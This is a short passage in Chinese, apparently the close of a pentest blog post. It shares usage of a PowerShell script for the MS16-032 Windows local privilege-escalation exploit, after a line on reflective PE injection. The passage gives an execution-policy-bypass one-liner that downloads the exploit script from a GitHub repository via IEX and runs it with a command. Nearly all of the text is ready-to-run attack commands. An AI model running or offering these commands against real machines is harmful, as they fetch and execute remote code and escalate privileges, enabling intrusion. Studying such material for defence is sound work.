Invoke-ReflectivePEInjection -PEBytes $PEBytes
进行加载,最后分享一下最终的脚本:
使用方式为:1
E2P_MS16-032 -Command '"net user"'
脚本GIT:Pentest。
远程加载命令:1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1');E2P_MS16-032 -Command '\"whoami\"'"